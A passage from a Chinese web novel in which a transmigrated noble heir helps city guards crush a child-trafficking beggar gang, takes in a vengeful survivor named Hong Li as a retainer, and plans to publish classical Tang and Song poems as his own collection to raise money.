这或许是他穿越而来,第一次不是为了自己,不是为了复仇,也不是为了权谋,而是纯粹地,想为这世道,做点什么。
他带着两个懵懵懂懂的孩子,付了面钱,转身汇入夜色之中。
他没有带他们去客栈,也没有去官府,而是径直朝着定远侯府的方向走去。
他的院子,够大,也够安全。
他知道,带两个小叫花子回侯府,定会掀起不小的波澜。
贾一博那帮人,又会找到新的由头来攻讦自己。
但那又如何?
如今的定远侯府,他谢宁,说了算!
第八十六章 丐帮
夜色下的定远侯府,威严肃穆。
谢宁没有走正门,而是熟门熟路地领着两个孩子绕到后门,轻轻叩响了门环。
开门的是他新换的护院,见到谢宁,先是一愣,随即看到他身后那两个脏兮兮的孩子,更是满脸错愕。
但他们都是清风明月精挑细选出来的人,嘴巴严,不多话,只是躬身行礼,便让开了路。
一踏入侯府,石头和丫丫便被眼前的景象彻底惊呆了。
雕梁画栋,曲径通廊,假山流水,无一不精美绝伦。
这地方,比他们梦里见过的皇宫还要气派。
两个孩子紧张得手脚都不知道往哪儿放,亦步亦趋地跟在谢宁身后,生怕一脚踩坏了这光洁如镜的青石板。
回到自己的院子,清风和明月正在灯下擦拭着宝剑,见到谢宁回来,身后还跟着两个小不点,也是一脸的不可思议。
“公子,这……”清风迎了上来,欲言又止。
“去烧些热水,找个婆子来,给他们洗洗。再找两身干净的衣服。”
谢宁没有多做解释,直接吩咐道。
“是。”清风明月虽然心中疑惑,但还是立刻领命而去。
很快,一个手脚麻利的婆子被叫了过来,领着还有些拘谨的石头和丫丫去了偏房的浴间。
起初两个孩子还有些抗拒,但在谢宁温和的鼓励下,最终还是乖乖地跟着去了。
不一会儿,热水和食物都已备好。
当石头和丫丫再次出现在谢宁面前时,已经焕然一新。
虽然身上穿着明显大了一号的仆役衣服,但洗去污垢后,露出的眉眼竟是格外的清秀。
尤其是丫丫,一双大眼睛水灵灵的,像个瓷娃娃。
吃着温热的点心,喝着甜丝丝的米粥,两个孩子紧绷的神经终于彻底放松下来。
丫丫甚至因为太过疲惫,靠在哥哥的肩膀上,打起了瞌睡。
谢宁让婆子先带他们去空置的客房休息,这才将清风和明月叫到书房,把今晚的所见所闻,以及两个孩子的身世,原原本本地说了一遍。
“岂有此理!光天化日,天子脚下,竟有如此丧尽天良之辈!”
清风听完,一拳砸在桌上,眼中怒火中烧。
他自己便是孤儿出身,最是见不得这种欺凌弱小之事。
明月虽然没说话,但握着剑柄的手,青筋毕露,显然也是动了真怒。
“公子,您打算怎么做?”
明月抬起头,目光锐利。
“只要您一句话,我今晚就去把那独眼龙的脑袋拧下来!”
“杀一个独眼龙容易。”
谢宁摇了摇头。
“可城西的丐帮不除,今天**个独眼龙,明天就会有双眼龙,三眼龙冒出来。我们要做的,是斩草除根。”
他看着眼前的两个少年,心中已然有了计较。
“明月,你身法好,擅长追踪探查。”
谢宁的目光落在明月身上。
“从现在开始,你负责去查那个丐帮。我要知道他们的老巢具体在哪,有多少人,头目有几个,平日里有什么活动规律。尤其是那个独眼龙,他的所有底细,我都要。”
“是!”明月领命。
“清风。”谢宁又转向清风,“你沉稳,办事周全。你从我们新招的护院里,挑出二十个身手最好,最可靠的人随时待命。”
“另外,去京兆尹府找那个张猛张都尉,就说我说的,让他配合我们行动。”
“公子,要动用京兆尹的人?”清风有些意外。
“当然。”谢宁嘴角勾起一抹冷笑,“抄家灭户这种事,总得知会一下官府,走个流程。”
“我们负责把人抓住,剩下的抄没家产,安置流民,就让张都尉去头疼。我们出人出力,总不能连点汤都喝不上吧?”
清风瞬间明白了谢宁的意思。
这是要借着由头,既办了事,又卖了京兆尹一个人情,还能顺便检验一下新收拢的这批手下的成色,一举三得。
“公子英明!”清风和明月齐声应道,心中对谢宁的敬佩又多了几分。
他们这位公子,行事看似随心所欲,实则每一步都深思熟虑,滴水不漏。
既有雷霆手段,又不乏
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菩萨心肠。
“对了。”
谢宁像是想起了什么,带了点促狭的笑意。
“刚才城里传出消息,说是户部王侍郎的公子当街被惊马撞断了腿,王侍郎气得暴跳如雷,一面找马车主人的麻烦,一面悬赏五十两,要找一个咒他儿子的穷酸书生。”
清风和明月对视一眼,都从对方眼中看到了笑意。
“那……需要属下们做些什么吗?”明月问道。
“不用。”谢宁摆了摆手,浑不在意。
“让他找去。他要是真有本事找到我头上,我倒要当着他的面,再给他算算,他家祖坟是不是也该冒黑烟了。”
一番话说得清风明月忍俊不禁,书房里原本凝重的气氛顿时轻松了不少。
打发走两人后,谢宁独自一人走到客房门口,透过窗户的缝隙,看着里面床上相拥而眠的两个孩子。
他们睡得很沉,小脸上带着一丝安详的笑意,似乎正在做一个甜美的梦。
谢宁的心,前所未有的平静。
他知道,自己正在做一件正确的事。
对付贤王,是关乎朝堂社稷的博弈,是阳谋与阴谋的对决。
而铲除这城西的丐帮,则是为了拂去这盛世之下的尘埃,为了守护这些如微光般的无辜生命。
两者,同样重要。
他转过身,夜风吹起他的衣袍。
他看向明月消失的方向,目光深邃。
“独眼龙……”
他轻声自语,眼中杀机一闪而过。
“你的好日子,到头了。”
……
“阿嚏!”
“大半夜的,谁特么咒我。”
城西一间破庙内,一个邋邋遢遢,却五大三粗的男人猛地从睡梦中惊醒,暗骂了两句,又沉沉睡了过去。
在他身躯之外,是几十个衣不蔽体的叫花子,以天为被,席地而睡。
但在众人之中,一双眸子缓缓睁了开来。
那眸子清亮,却蕴含深深的杀意。
寒光在月下一闪即逝,人影刚想起身,却被一双脏污的手按住了肩膀。
“别轻举妄动。”
第八十七章 丐帮末日
谢宁是被阳光给晃醒的。
他伸了一个懒腰,目光下意识看向了一旁的书桌。
桌上没有笔墨纸砚,只摊着几张写满了蝇头小字的细腻纸张。
谢宁满意地点了点头,对于清风和明月的办事效率,他还是很满意的。
纸上记录的,正是城西丐帮的脉络图,其中便包括丐帮中不少元老级的成员信息。
谢宁一一看去,入目第一份内容,便是独眼龙的。
独眼龙,鲁奎,三十有七,原是边军斥候,因临阵脱逃被剜去一目,后流窜至建安,凭借狠辣手段与军中**得的些许追踪之术,整合了城西所有乞丐,自立为王。
其下有四位元老,皆是混迹江湖多年的老油子。
铁拐李,姓名未知,善使一条铁杖,为人阴狠,专管刑罚,所有不听话的孩子,腿脚都是被他亲手打断。
妙手空空孙老三,一双贼手快得像鬼影,负责教唆孩童偷窃,是丐帮主要收入来源之一。
人面狐钱婆子,看似和善,实则最是恶毒,专门负责拐带,收买和控制妇孺。
最后一个是闷三爷,此人极少露面,却是独眼龙最信任的副手,据说负责管理丐帮的密库。
这五个人,便是整个丐帮的核心。
谢宁的指尖,在独眼龙三个字上轻轻敲击着,眼神平静,却透着一股山雨欲来的森然。
他昨夜从那两个孩子口中,已经拼凑出了一个地狱般的景象。
那些被拐来的孩子,不仅仅是乞讨的工具。
他们是商品。
长得好的,会被卖入黑市的勾栏。
骨骼清奇的,会被卖给邪派人士炼制邪功。
更多的,则是像石头和丫丫的同伴虎子哥一样,病了残了,只要没了利用价值,就会被随意丢弃,如同一条野狗,死在某个无人问津的角落。
“公子。”
清风和明月一左一右,静立在旁,等待着他的命令。
昨夜听完那两个孩子的遭遇,这两个少年心中的杀意早已沸腾。
“通知张猛,可以动手了。”
谢宁的声音很轻,却带着不容置疑的决断。
“让他的人先进,以控制为主。我们的护院随后跟上,封锁所有出口,特别是后山和可能有密道的地方。”
他顿了顿,补充道:“告诉我们的人,尽量留活口。”
死,简直太便宜他们了。
“是!”清风明月领命,转身快步离去。
书房内,重归寂静。
谢宁站起身,走到窗前,看着侯府上空那片湛蓝的天空。
今天,会是个好天气。
很适合,为这座繁华的都城,清除一些藏在阴影里的垃圾。
……
城西,破庙。
腐朽的酸臭味与粪便的骚臭味混杂在一起,形成一股令人作呕的气息,终年笼罩在这片区域。
几十个衣衫褴褛,面黄肌瘦的乞丐横七竖八地躺在破庙的空地上,对身边的污秽与恶臭早已麻木。
阳光刺破云层照在他们身上,却带不来一丝暖意,反而更凸显了他们脸上的绝望与死寂。
“都**起来,起来,天亮了还睡!想饿死不成!”
一声粗暴的喝骂打破了这死气沉沉的寂静。
独眼龙鲁奎赤着上身,露出满是疤痕的精壮肌肉,一脚踹在一个睡得正沉的少年身上。
那少年痛呼一声,连滚带爬地站起来,眼中满是恐惧。
“一群废物!养着你们,还不如养几条狗!”
独眼龙骂骂咧咧地拿起一个水瓢,舀起一瓢浑浊不堪的水,咕咚咕咚地灌了下去。
昨夜,他做了个噩梦。
梦里,他被无数双小手死死抓住,拖进了无边的黑暗里。
醒来后,总觉得心神不宁,眼皮直跳。
“妈的,肯定是昨晚酒喝多了。”他吐了口唾沫,准备像往常一样,将这群工具人赶出去为他赚钱。
然而,就在这时。
“咚!咚!咚!”
沉重而整齐的脚步声,如同擂鼓一般,从四面八方传来。
那声音越来越近,越来越密集,带着一股肃杀的铁血之气,让整个破庙的地面,都仿佛在微微震颤。
破庙里所有的乞丐,包括独眼龙,都愣住了。
他们茫然地抬起头,看向四周。
下一秒,所有人的脸
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色,都变得煞白。
只见破庙周围那些残破的围墙上,不知何时,已经站满了一排排身穿黑色官服,手持制式长刀的府兵。
他们面容冷峻,眼神锐利,如同一群沉默的猎鹰,俯瞰着包围圈里的猎物。
阳光照在他们手中的刀刃上,反射出森然的寒光,刺得人眼睛生疼。
整个破庙,被围得水泄不通!
“官……官兵!”
一个乞丐失声尖叫起来,声音里充满了极致的恐惧。
“怎么会有官兵?”
“他们是来抓我们的!”
人群瞬间炸开了锅,恐慌如同瘟疫般蔓延。
独眼龙的心在那一瞬间沉到了谷底。
他混迹江湖多年,什么场面没见过?但一看这阵仗,他就知道今天问题大了。
这不是普通的巡查,这是冲着他来的!
来不及多想,求生的本能压倒了一切。
独眼龙眼中凶光一闪,没有丝毫犹豫,猛地转身,朝着自己睡觉的那个狗窝般的草棚冲去。
那里,藏着他这些年搜刮来的所有金银细软!
那里,也连通着他早就为自己准备好的逃生密道!
只要进了密道,他就能逃出升天,海阔凭鱼跃,天高任鸟飞!
他的动作快如狸猫,三两步就冲到了草棚前,一把掀开那堆肮脏的草垫,露出了一个黑漆漆的洞口。
洞口旁,一个沉甸甸的包裹早已备好。
他一把抓起包裹,脸上露出一丝狰狞的狂喜。
然而,就在他的一只脚即将踏入密道的瞬间。
一道黑影如同鬼魅一般,从旁边混乱的人群中暴射而出!
那道身影快得不可思议,带着一股玉石俱焚的决绝与滔天恨意,瞬间就扑到了他的身后!
独眼龙只觉一股凌厉的杀气锁定了自己,浑身的汗**瞬间倒竖!
他猛地回头。
一道刺目的寒光,在他那只独眼中,急速放大!
寒光如毒蛇吐信,快得没有丝毫征兆。
那是一柄短小精悍的**,被一只瘦弱却异常稳定的手紧握着,裹挟着无尽的怨毒与杀意,直刺独眼龙的咽喉。
第八十八章 血债血偿
偷袭者,是一个女人。
一个混迹在乞丐堆里,毫不起眼的女人。
她的脸上沾满了污垢,头发像枯草一样杂乱,可那双眼睛,却亮得吓人,里面燃烧着足以焚尽一切的火焰。
正是昨夜那个对独眼龙动了杀意,却被同伴按住的人。
她潜伏了太久,等待了太久。
当她得知自己的亲弟弟,那个被她视若性命的男孩,被独眼龙亲手打断双腿,最终惨死在乞讨街头的雨夜后,她活着的唯一目的,就是复仇。
今天,无论官兵是否围剿,她都准备动手。
“死!”
一声沙哑的低吼,从她的喉咙深处挤出。
独眼龙毕竟是上过战场的老兵,生死关头,反应快到了极致。
他来不及躲闪,只能猛地一偏头,同时将手中沉甸甸的金银包裹,狠狠地朝着女人的脸上砸去!
“嗤啦!”
**锋利的刃尖擦着他的脸颊划过,带起一串血珠,留下了一道深可见骨的伤口。
剧痛瞬间传来!
“啊!”
独眼龙发出一声野兽般的痛吼,那只独眼因为剧痛和惊骇而瞪得滚圆。
他从未想过,自己会被一个平日里连正眼都懒得瞧一下的女乞丐伤到!
更让他惊骇的是,这个女人一击不中,竟是毫不恋战,手腕一翻,**顺势下劈,目标直指他抓着包裹的手腕!
好狠辣的招式!好决绝的杀心!
“**,你找死!”
独眼龙彻底暴怒,他松开包裹,任由金银珠宝散落一地,那只粗壮的手掌如同一把铁钳,猛地抓向女人的手腕。
女人的力量远不及他,**瞬间被他夺下。
但她的脸上没有丝毫的恐惧,反而露出了一丝诡异的笑容。
她用尽全身的力气,张开嘴,狠狠地咬在了独眼龙抓着**的手臂上!
她的牙齿看着不起眼,却深深地嵌入独眼龙的血肉之中。
“滚开!”
独眼龙吃痛,另一只手握拳,狠狠一拳砸在女人的太阳穴上。
“砰!”
女人闷哼一声,身体软了下去,但那张嘴,却依旧死死地咬着,不肯松开分毫。
“破门!”
就在此时,一声爆喝从庙门处传来。
“轰隆!”
本就腐朽不堪的庙门,被一根巨大的撞木直接撞得粉碎。
全副武装的京兆府府兵,如潮水般鱼贯而入!
“不许动!全部抱头蹲下!”
“放下武器,违令者,杀无赦!”
冰冷的喝令声响彻整个破庙。
那些本就惊慌失措的乞丐们,哪里见过这等阵仗,瞬间崩溃,哭喊着,尖叫着,纷纷抱头蹲在了地上,不敢有丝毫反抗。
现场的控制,比想象中还要顺利。
只有几个丐帮的元老级人物,还想负隅顽抗。
铁拐李挥舞着铁杖,试图冲出一条血路,却被三四个府兵用锁链**直接绊倒在地,死死地压住。
妙手空空孙老三想混入人群,却被眼尖的都尉张猛一眼识破,一脚踹翻。
混乱之中,独眼龙看着涌入的府兵,那只独眼中充满了绝望。
他知道,自己完了。
密道就在身后,可他却再也没有机会踏进去。
滔天的恨意涌上心头,他看着死死咬住自己不放的女人,眼中杀机爆射。
“老子就算是死,也要拉你这个**垫背!”
他怒吼着举起手中的**,就要朝着女人的后心狠狠刺下!
可他的手,却在半空中停住了。
一支冰冷的箭矢,不知从何处射来,精准地穿透了他的手腕,将他的手掌死死地钉在了身后的门框上!
“啊!”
撕心裂肺的惨叫声从独眼龙的口中爆发出来。
他低头看去,只见一支通体漆黑的羽箭穿透了自己的手腕,箭尾还在微微颤动。
剧痛让他浑身痉挛。
也就在这一刻,原本昏迷的女人手中再度浮现出一抹寒光,用尽最后一丝力气,狠狠划过独眼龙的脖颈。
“呵呵呵呵……”
独眼龙单手抓着自己的喉咙,眼睁睁看着鲜血喷涌而出,却无能为力。
他那高大的身躯晃了晃,最终重重地倒在了地上,溅起一片尘埃。
倒地后,那只独眼依旧瞪着,充满了不甘与怨毒,却再也没有了神采。
城西丐帮的
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霸主,独眼龙鲁奎,就此毙命。
几个府兵迅速上前,将那个又一次昏迷过去的女人和独眼龙的尸体分开,用镣铐将女人控制住。
张猛大步流星地走到独眼龙的尸体旁,用刀鞘捅了捅,确认他已经死透了,才重重地吐出一口浊气。
“清点现场,抓捕所有头目,解救被困孩童!”
“是!”
……
当谢宁带着清风明月赶到时,破庙内的混乱已经基本平息。
所有的乞丐都被集中看管,几个负隅顽抗的头目也被五花大绑地押在一旁,一个个面如死灰。
空气中,依旧弥漫着那股令人作呕的恶臭,以及一丝淡淡的血腥味。
“世子。”
张猛快步迎了上来,脸上带着一丝惭愧。
“末将办事不力,让那主犯独眼龙……**。”
他将刚才发生的事情,原原本本地说了一遍。
谢宁的目光,越过张猛,落在了那个被几个府兵控制住的女人身上。
她已经醒了过来,却很安静,只是呆呆地看着独眼龙的尸体,眼神空洞,仿佛失去了所有的灵魂。
她的嘴角还残留着一丝血迹,不知是她自己的,还是独眼龙的。
“她怎么样?”谢宁问道。
“回世子,只是受了些拳脚,加上体力不支,没什么大碍。”张猛答道。
谢宁点了点头,缓步走了过去。
他挥了挥手,示意那几个府兵退开。
他蹲下身,与女人平视,声音放得很轻,很柔和。
“都结束了。”
女人的身体微微一颤,空洞的眼神,终于有了一丝焦距。
她缓缓地抬起头,看向眼前这个衣着华贵,气质不凡的年轻公子。
她的眼神里没有恐惧,没有祈求,只有一片死水般的平静。
“你报了仇,接下来,有什么打算?”谢宁问道。
女人沉默了很久,才沙哑地开口。
“我不知道。”
是啊,她不知道。
为了报仇,她活了下来。
如今仇已报,她活着的意义,也随之消失了。
这个世界上,她已经没有任何亲人,没有任何牵挂了。
第八十九章 招揽红鲤
谢宁看着她眼中的死寂,心中没来由地一软。
“你叫什么名字?”他问。
女人又沉默了片刻,似乎在回忆一个已经很遥远的名字。
“红鲤。”
“红鲤?”谢宁喃喃。
红鲤,如同在血色池水中挣扎的鲤鱼,即便遍体鳞伤,也要奋力跃过那道名为复仇的龙门。
如今,龙门已跃过,却摔在了干涸的岸上,失去了所有的方向和力气。
谢宁看着她,仿佛看到了一个倔强而又脆弱的灵魂。
“红鲤……”他再度轻声念着这个名字,随即问道:“你是哪里人?”
“齐国,雁门关。”红鲤的声音依旧沙哑,却多了一丝微不可察的波澜。
雁门关,那是齐国与北方蛮族交战的最前线,常年战火纷飞,百姓流离失所。
“我爹娘,都死在了去年的战乱里。”
红鲤的眼神飘向远方,像是在诉说一个与自己无关的故事。
“家里只剩下我和我弟弟。我们想往南逃,逃到建安来,听说这里是天子脚下,是太平盛世。”
她的嘴角,勾起一抹自嘲的弧度。
“可我们还没到建安,就在路上遇到了人贩子。”
“我弟弟……我弟弟为了保护我,被他们打晕带走了。我拼了命才逃出来,一路打听,一路寻找,花了整整半年,才在这里找到线索。”
“我混进了丐帮,只想找到我弟弟。可是……可是前些日子,我终于打听到了。”
她的声音开始颤抖,那双死寂的眸子里,终于涌上了一层水雾。
“他们说,我弟弟因为不肯听话,被打断了双腿。后来染了风寒,发着高烧,还要出去乞讨。”
“他……他死在了大街上,无人收尸,被拖去乱葬岗喂了野狗。”
“罪魁祸首,就是他!”
红鲤的手指,颤抖地指向不远处独眼龙那具冰冷的尸体。
滔天的恨意,再次从她眼中涌出,但很快,又被更深的绝望所淹没。
“我杀了他,可我弟弟……再也回不来了。”
她低下头,肩膀微微耸动,压抑的呜咽声从喉咙里传出。
她没有嚎啕大哭,那无声的悲伤,却比任何撕心裂肺的哭喊,都更能刺痛人心。
周围的府兵们,看着这个遍体鳞伤的女人,听着她悲惨的遭遇,无不动容。
就连张猛这个铁血汉子,眼圈也有些泛红。
谢宁沉默了。
他静静地等着,等红鲤的情绪稍微平复了一些。
然后,他才缓缓开口,声音清晰而坚定。
“既然这世上已没有你的亲人,那你,有没有想过,跟随我?”
此话一出,不仅是红鲤,就连旁边的张猛和清风明月,都愣住了。
让他们意外的,不是谢宁要收留一个可怜人。
而是他话语中的跟随二字。
这不是简单的收留,更像是一种……招揽。
招揽一个刚刚手刃了仇人,看似柔弱,实则内心无比坚韧的女人。
红鲤也猛地抬起头,泪眼婆娑地看着谢宁,眼中充满了不解和困惑。
“跟随你?”她沙哑地问,“你是谁?为什么要我跟随你?”
她不明白,眼前这个贵公子,为何会对她这样一个无依无靠,满手血腥的孤女提出这样的要求。
谢宁站起身,居高临下地看着她,阳光在他的身后,为他镀上了一层金色的轮廓,让他整个人看起来,有一种令人信服的力量。
“我是谢宁。”
他一字一句地说道。
“定远侯府世子。”
定远侯府世子!
这六个字,如同一道惊雷,在红鲤的脑海中炸响!
她当然听说过定远侯府,那是整个大齐王朝,军功最显赫的家族!
但让她更加震惊的,是谢宁这个名字。
她的眼睛瞬间瞪大了,那双原本被绝望和悲伤笼罩的眸子里,第一次,迸发出了一道难以置信的光芒。
“谢宁……你就是那个在皇宫里凭一己之力,大败齐国所有文人的诗仙?”
她的声音充满了不敢置信的意味。
谢宁自己都有些诧异。
他没想到,自己诗仙的名头竟然已经传得这么广,连一个混迹在最底层的乞丐都知道。
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>看来,文化的传播力,在任何时代,都是不容小觑的。
他没有承认,也没有否认,只是淡淡一笑,算是默认了。
而这个笑容,在红鲤眼中,却成了最确切的答案!
就是他!
那个写出空山新雨后,天气晚来秋的男人!
那个写出十室九贫,凑得八两七钱六分五毫四厘,尚且三心二意,一等下流,为天下贫苦之人鸣不平的男人!
这一刻,红鲤心中的所有迷茫,绝望和悲伤,仿佛都被一道刺破黑暗的光芒瞬间驱散了。
她一直以为,这个世道是黑暗的,掌权者都是高高在上,不顾百姓死活的。
可眼前这个人不一样!
他有惊世的才华,却愿意为乞丐出头;他有显赫的身份,却愿意蹲下身,倾听一个孤女的悲鸣。
这样的人,值得她追随!
弟弟已经不在了,家也已经没了。
她孑然一身,如同漂浮在苦海中的一叶浮萍,随时都可能被风浪吞没。
而现在,谢宁的出现,就像是一艘巨大而坚固的方舟,向她伸出了援手。
她还有什么可犹豫的?
“扑通!”
红鲤想也没想,用尽最后的力气,双膝跪地,朝着谢宁,重重地磕了一个头。
她的额头结结实实地撞在冰冷而肮脏的地面上,发出沉闷的声响。
“红鲤,愿追随世子!”
她的声音,不再是之前的沙哑和绝望,而是充满了前所未有的坚定和决绝。
“赴汤蹈火,在所不辞!”
从今往后,她的命,就是谢宁的。
谢宁看着跪在自己面前的红鲤,眼中露出一丝满意的神色。
他知道,自己捡到宝了。
一个心怀死志的人,是不可怕的。
一个找到了新的生存意义,并且心怀感恩与忠诚的人,才是最可怕的,也是……最可靠的。
他伸手,将红鲤扶了起来。
“起来吧。”他的声音温和而有力,“从今往后,你不再是孤身一人。”
他转头对张猛说道:“张都尉,这里剩下的事情就交给你了。”
第九十章 搞钱才是正道
“请务必将所有被拐的孩童和妇女都解救出来,妥善安置。”
“另外,将丐帮所有头目的罪行一一审明,张榜公布,给建安城一个交代。”
“世子放心,末将明白!”张猛抱拳领命,心中对谢宁的敬佩,又上了一个台阶。
这位世子,行事雷厉风行,却又心怀仁善;手段狠辣,却又处处透着章法。
谢宁不再多言,带着清风明月,以及获得了新生的红鲤,转身离开了这片充满了罪恶与污秽的破庙。
阳光正好,将他们的影子,拉得很长很长。
定远侯府。
当谢宁领着一个浑身脏污,散发着异味的女人回到自己院子的时候,所有下人都露出了错愕的神情。
但如今的院子,早已被谢宁换上了自己的人,他们虽然心中好奇,却没人敢多问一句,只是躬身行礼。
谢宁吩咐婆子烧水,找来干净的衣服,让红鲤先去梳洗一番。
半个时辰后。
当红鲤再次出现在众人面前时,清风和明月都看呆了。
洗去污垢的她,露出了原本的容貌。
那是一张略显清瘦,却眉眼如画的脸。
尤其是那双眼睛,虽然因为长期的悲伤而带着一丝挥之不去的忧郁,但眼角微微上挑,透着一股与生俱来的英气和倔强。
她不像寻常的大家闺秀那般柔弱,反而像一柄藏在鞘中的利剑,看似朴实无华,一旦出鞘,必将锋芒毕露。
换上一身干净利落的青色劲装后,更是将她那股独特的气质,衬托得淋漓尽致。
“不错。”谢宁满意地点了点头。
他让清风给红鲤安排了一个单独的房间,又让明月去请个大夫,为她调理一下身体。
做完这一切,他才回到书房,独自一人,陷入了沉思。
铲除城西丐帮,最大的收获不是为民除害博取了什么名声,而是收拢了红鲤这样一个可用之才。
他看着自己的双手。
在这个世界上,想要活下去,想要保护自己想保护的人,光靠自己一个人的力量,是远远不够的。
对付贾一博那样的跳梁小丑,他可以随手碾死。
但对付贤王那样的庞然大物,他需要建立属于自己的势力。
一个绝对忠诚,绝对可靠,并且拥有足够实力的势力。
他目前已经有了清风明月,今天又有了红鲤。
但这只是一个开始。
他要在暗中编织一张属于自己的网。
一想到这里,一个最现实,也是最严峻的问题,摆在了谢宁的面前。
他没钱。
发展势力,需要钱。
招兵买马,需要钱。
购买武器建立据点收买情报,哪一样,不需要海量的金钱去支撑?
他现在的身份是定远侯府世子,听起来风光无限。
可实际上,侯府的中馈大权,牢牢地掌握在那个被贾一博当枪使的老太君手里。
贾一博更是恨不得将他置于死地,从他们手里要钱,不现实。
长公主那边,虽然肯定会支持他,但谢宁不想事事都依赖她。
更何况,他目前还不想让李庆宁知道自己的心思。
再者说了,就算真找到李庆宁,眼下边境战乱,皇室的开销同样巨大。
李庆宁能动用的私房钱,也终究有限。
归根结底,还是要靠自己。
谢宁的眉头,紧紧地皱了起来。
他前世是个医生,对赚钱这种事,实在是不怎么擅长。
难道要去经商?
不行,周期太长,而且这个时代的商业环境盘根错节,没有强大的背景和人脉,很容易被人吃得骨头都不剩。
去……抢?
谢宁摇了摇头,把自己这个危险的想法甩出脑海。
他虽然行事不拘一格,但盗匪之事,他还做不出来。
那该怎么办?
谢宁在书房里来回踱步,脑中飞速地思考着。
他需要一个来钱快,成本低,并且能够最大化利用自己现有优势的方法。
他的优势是什么?
穿越者的知识?那些数理化知识,在这个时代,很难在短时间内变现。
一身的医术和道法?这倒是个路子,但给人看病算命,终究是小打小闹,赚不了大钱,反而容易暴露自己。
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等等……
谢宁的脚步,猛地停住了。
他的目光,落在了书架上那一排排的诗集上。
一个念头如同闪电般划破了他的脑海。
他最大的优势,不是那些超前的科技知识,也不是那神鬼莫测的道法。
而是他诗仙的名头!
这个名头,是他在皇宫御花园,当着满朝文武的面亲手打下来的。
含金量,毋庸置疑。
如今,整个大齐王朝,上至达官显贵,下至黎民百姓,谁人不知他谢宁的诗才冠绝天下?
这是一个巨大的,无形的资产!
一个巨大的IP!
如果把这个IP变现呢?
谢宁的眼睛越来越亮。
他想到了一个绝妙的主意。
出书!
在这个精神文化生活相对匮乏的时代,一本好书,尤其是出自“诗仙”之手的好书,其影响力,绝对是**性的!
一旦成功,所能带来的财富,将是难以想象的。
而且,这件事,只有他能做。
那些他脑子里装着的,经过了数千年时间检验的唐诗宋词,随便拿出几首,就足以震惊这个时代的文坛。
如果拿出一整本呢?
那将不是震惊,而是颠覆!
“就这么办!”
谢宁一拍手掌,心中瞬间有了决断。
他不再犹豫,立刻叫来了明月。
“明月,你去帮我查一下,建安城里最大,最有声望的书局是哪一家?背景如何,背后靠着谁,都给我查得清清楚楚。”
“是,公子!”明月虽然不解,但还是立刻领命而去。
谢宁则重新坐回书桌前,铺开一张白纸,提起毛笔。
他的脸上,露出了一丝充满玩味的笑容。
笔尖落下,一行行千古名句,开始在这个异世界的纸张上,绽放出它们应有的光芒。
明月的办事效率极高。
不过半日功夫,一份关于建安城各大书局的详细资料,就摆在了谢宁的桌上。
建安城作为大齐国都,文风鼎盛,书局林立。
其中,规模最大,名声最响的共有三家。
第九十一章 诗仙要出书
分别是背靠相国府的翰林轩,与几位清流大儒关系匪浅的清流斋,以及背景最为深厚,据说与整个大齐文坛都有着千丝万缕联系的文渊阁。
“文渊阁……”
谢宁的指尖,在这三个字上轻轻划过。
他要的,不仅仅是赚钱。
他还要通过这次出书,进一步巩固自己“诗仙”的地位,将自己的影响力,从皇宫和市井,彻底渗透到整个文人士大夫阶层。
如此一来,这个文渊阁无疑是最好的选择。
它的背后是整个大齐文坛。
征服了它,就等于征服了天下读书人的心。
“就选它了。”
谢宁心中有了定计。
接下来的两天,他把自己关在书房里,谢绝了一切访客。
他没有急着动笔,而是先将脑中那些浩如烟海的诗词歌赋,进行了一番仔细的筛选和整理。
他要出版的,不是一本简单的诗词杂烩。
而是一本经过精心编排,能够层层递进,不断冲击读者心灵的传世经典。
他将诗集分为四个部分:咏物、抒怀、边塞、田园。
咏物篇,他挑选了李白的《望庐山瀑布》,杜甫的《春夜喜雨》,白居易的《赋得古原草送别》。
这一部分,以大气磅礴的笔触,描绘山川草木,奠定整本诗集的基调。
抒怀篇,则收录了李清照的《声声慢》,苏轼的《水调歌头》,陈子昂的《登幽州台歌》,将人生的悲欢离合壮志难酬,写得淋漓尽致,引发读者的情感共鸣。
边塞篇就更是王炸了。
王昌龄的《出塞》,王翰的《凉州词》,岑参的《白雪歌送武判官归京》,每一首,都充满了金戈铁马的豪情与保家卫国的壮志,足以让任何一个大齐男儿热血沸腾。
最后的田园篇,则用陶渊明的《饮酒》,孟浩然的《过故人庄》,营造出一种宁静致远,回归自然的恬淡意境,作为整本诗集的收尾,余韵悠长。
整本诗集,共计五十首。
每一首,都经过了千年的淘洗,是华夏文明最璀璨的瑰宝。
当谢宁写下最后一个字,放下毛笔时,窗外已是明月高悬。
他看着眼前这本凝聚了无数先贤智慧的诗集,长长地舒了一口气。
他知道,当这本书问世时,将会给这个世界,带来一场何等猛烈的文化震撼。
……
第三日,谢宁换上了一身儒雅的青色长衫,带着清风,坐上马车,径直前往位于朱雀大街的文渊阁。
文渊阁,不愧是建安城最大的书局。
三层高的阁楼,飞檐斗拱,古朴大气。门前车水马龙,进出的皆是衣着光鲜的读书人。
谢宁刚一踏入,一股浓郁的墨香和书卷气便扑面而来。
“这位公子,请问您是想买书,还是想卖书?”一个伙计立刻满脸堆笑地迎了上来。
“我找你们的掌柜。”谢宁淡淡地说道。
“找我们掌柜?”
伙计上下打量了谢宁一番,见他虽然年轻,但气度不凡,不敢怠慢,连忙道:“敢问公子尊姓大名?可有预约?”
“你只需告诉他,定远侯府谢宁,前来拜访。”
“定远侯府?”
伙计的笑容僵在了脸上,随即,他像是想起了什么,一双眼睛猛地瞪大,结结巴巴地说道:“您……您就是诗仙!”
谢宁不置可否地笑了笑。
“天呐!”那伙计倒吸一口凉气,反应过来后,脸上瞬间露出了狂热的崇拜之情,连腰都弯了下去。
“世子殿下,您稍等,小的……小人这就去通报!”
说完,他几乎是连滚带爬地朝着二楼跑去,一边跑还一边激动地大喊:“掌柜的!掌柜的!大喜事啊!天大的喜事啊!诗仙他老人家来了!”
他这一嗓子,让整个一楼大堂瞬间陷入了死一般的寂静。
所有正在看书,选书的学子们,全都猛地抬起头,目光“唰”的一下,全部聚焦在了谢宁的身上。
“他就是谢宁?”
“那个在御花园舌-战群儒,三联定鼎的诗仙?”
“天啊,比传说中还要年轻,还要俊朗!”
“我竟然见到了活的诗仙!”
下一秒,整个大堂彻底沸腾了!
所有人
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都扔下了手中的书,如同潮水一般朝着谢宁涌了过来,一个个脸上都带着狂热和崇拜。
“谢世子,可否为在下签个名?”
“诗仙大人,您那首诗在下拜读之后,三日不知肉味啊!”
“世子,您还收徒弟吗?”
清风见状,立刻上前一步,挡在谢宁身前,警惕地看着周围的人群。
谢宁倒是不慌不忙,对着众人拱了拱手,脸上挂着和煦的笑容。
就在场面即将失控之时。
“都让开!都让开!”
一个焦急的声音从二楼传来。
